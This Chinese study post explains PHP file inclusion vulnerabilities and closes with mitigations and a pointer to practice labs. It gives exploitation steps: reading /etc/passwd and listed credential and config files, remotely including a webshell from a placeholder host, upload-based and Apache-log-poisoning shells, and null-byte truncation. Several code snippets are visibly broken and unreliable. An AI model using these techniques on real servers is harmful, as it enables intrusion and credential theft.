程序员在开发过程中会把经常使用的函数写好封装在一个单独的文件中,在使用时直接调用该文件,在调用文件的过程一般称为包含。
开发时,程序员希望代码更加灵活,通常会将被包含的文件设置为变量。进行动态调用,虽然提高了灵活性,但是安全性则大大降低,这样会导致客户端可以调用一个恶意的文件,造成文件包含漏洞。
这类漏洞十分常见,因为几乎所有的脚本语言中都会有文件包含的功能。文件包含漏洞在PHP web应用中居多,在JSP、ASP程序中比较少,问题在于语言设计的弊端,无关程序员的水平。
文件包含漏洞其实和SQL注入一样,是一个注入型漏洞,本质上是输入一段客户可以操控的恶意脚本或者代码,让服务端去执行。
1)PHP中提供了4个文件包含的函数,分别是:
include() #找不到被包含的文件时只会产生警告(E_WARNING),脚本会继续执行
include_once() #该语句和include差不多,区别是如果该文件中代码已经被包含了则不会再次包含
require() #找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
require_once()#该语句与require差不多,区别是如果该文件中的代码已经被包含,则不会再次包含
2)PHP中文件包含分类:
1、本地包含(LFI)
例如:Util.php(util工具函数)
", $lin=""){
foreach($arr as $key => $value){
echo "$key $sp $value $lin";
}
}
?>
然后在Index.php中调用Util.php,也就是Index.php对Util.php进行包含,并且使用PrintArr函数:
");
?>
就会显示:
0==>小明
1==>小李
2==>小花
如果有一个phpinfo.txt文件,这是一个正常的文本文件,但是其中的内容如果符合PHP语法的代码,就会被触发文件包含漏洞,并且执行该文本中的代码指令。比如phpinfo.txt中写的是:
这是个简单的php内置函数,用来查看PHP的版本信息。如果写入其他的恶意代码,危害可想而知。如果将.txt的文件扩展名更改为:jpg、rar、doc、xxx,发现都可以正确的显示phpinfo的信息。如此一来就验证了只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
再比如:将一些配置文件写入,再在Index.php中包含这个配置文件,执行后,将会显示配置文件中的内容。以此可以看出,如果包含了非PHP语法规范的文件时,将会暴露其源代码。
2、远程包含(RFI)
远程包含功能在PHP中默认是被关闭的,首先要确定该PHP是否开启了远程包含功能选项。开启该功能需要在php.ini中修改,修改后需要重启web容器服务使其生效。
将allow_url_include = off 的off改为on
远程包含和本地包含其实本质上并没什么区别。
PHP包含处理信息可以参照一下官方文档:http://cn2.php.net/manual/zh/function.include.php
3)PHP文件包含利用
1、读取敏感文件
假设:访问URL:http://www.xxx.com/index.php?page=/etc/passwd,如果目标主机存在此文件,并且拥有相应的权限,就可以读出文件的内容。如果不存在,会得到一个警告。
以下是Windows和Linux常见的敏感信息的路径:
Windows系统:
c:\boot.ini #查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml #IIS配置文件
c:\windows\repair\sam #存储Windows的密码
c:\program Files\mysql\my.ini #mysql配置文件,里面可能有密码
c:\program Files\mysql\data\mysql\user.MYD #mysql root
c:\windows\php.ini #php配置文件
Linux系统:
/etc/passwd #用户密码
/usr/local/app/apache2/conf/httpd.conf #apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf #虚拟网站设置
/usr/local/app/php5/lib/php.ini #php相关设置
/etc/httpd/conf/httpd.conf #apache配置文件
/etc/my.cnf #mysql配置文件
2、远程包含Shell
如果目标主机的allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,
例如:http://www.xxx.com/test.php
")?>
访问http://www.xxwuser.com/Index.php?page=http://www.xxx.com/test.php,就会在Index.php所在的目录中生成一个shell.php,内容是:
#一句话木马,然后利用蚁剑连接,即可查看该网站目录
注:一句话木马的原理(将会在后面更新)
3、本地包含配合文件上传
很多网站都是有文件上传的功能,比如:头像、文档等。如果现在已经上传了一个一句话图片的木马到服务器,路径为:uploadfile/123.jpg
图片的代码:
")?>
访问URL:http://xxx.xxx.com/Index.php?page=./uploadfile/123.jpg,就会包含这张照片,然后在Index.php所在的目录下生成shell.php。
4、包含Apache日志文件
比如某个php文件存在本地包含漏洞导致无法上传文件时,就会显得不能深度利用这个漏洞,但是可以找到Apache路径,利用包含漏洞包含Apache日志文件也可以获取到Webshell。
Apache运行后一般默认会生成两个日志文件,access.log(访问日志),error.log(错误日志)。
查看access.log文件后,发现里面每一行记录着网站访问记录,有客户端、访问者标识、访问者的验证名字、请求时间、请求类型、请求的HTTP代码、发送给客户端的字节数。
当我们访问一个不存在的资源时,Apache的日志也同样会记录,如果网站存在本地包含漏洞,却没有可以包含的(网页木马)时,就可以去访问URL:http://www.xxx.com/
Apache就会记录下来请求"",并写到access.log文件中,然后再去包含日志文件,会发生变化,因为浏览器的原因,PHP中的<>还有空格会被转码,在日志中的木马会变形。例如:
/%3C?php%20phpinfo();)?%3E
解决此类问题的办法:
可以通过burpsuite来绕过编码!
注明:攻击者在使用access.log时,要确定日志路径!
防范:经过分析发现Apache的路径是重点,尽量不要使用默认的安装路径
5、截断包含
如果程序员将代码中的扩展名固定,当进行文件包含时,不需要传输文件扩展名,例如:想要包含xiaoli.php只需要输入:
http://www.xxx.com/Index.php?page=News即可,变相的修复了包含漏洞
虽可以阻挡一部分攻击者,但是并不是真正意义上的修复了该漏洞,攻击者可以采取截断的方法来突破扩展名固定。
假设:
输入URL:http://www.xxx.com/Index.php?page=123.jpg
123.jpg的代码,访问后会出现错误,因为找不到123.jpg.php所以无法包含
但是输入:
http://www.xxx.com/Index.php?page=123.jpg%00后就会执行正常
该方法只适用于magic_quotes_gpc=Off时,如果是ON,%00(NULL)就会被转义了,然后就无法截断。为ON时,以下预定义字符都会被转义:
(')、(")、(\)、(NULL)
包含漏洞在PHP开发中特别常见,综上分析后发现,造成该漏洞的根本原因:被包含的页面可以被攻击者控制,攻击者可以随心所欲的去包含某个页面。
具体防范措施:(可以进行参考)
1、严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功的关键在于被包含的文件是否可被外部控制。
2、路径限制:限制被包含文件只能在某一文件夹中,一定要禁止目录跳转字符,如:../
3、包含文件验证:验证被包含的文件是否在白名单中
4、尽量不要使用动态包含,可以在需要包含的页面固定写好
今天的文件包含漏洞就先学习到这!伸个懒腰,改写写论文了!
继续努力~继续加油~
本章没有配图,想要实践的同学可以搭建个pikachu,dvwa等等去试验下,那里都有这个漏洞。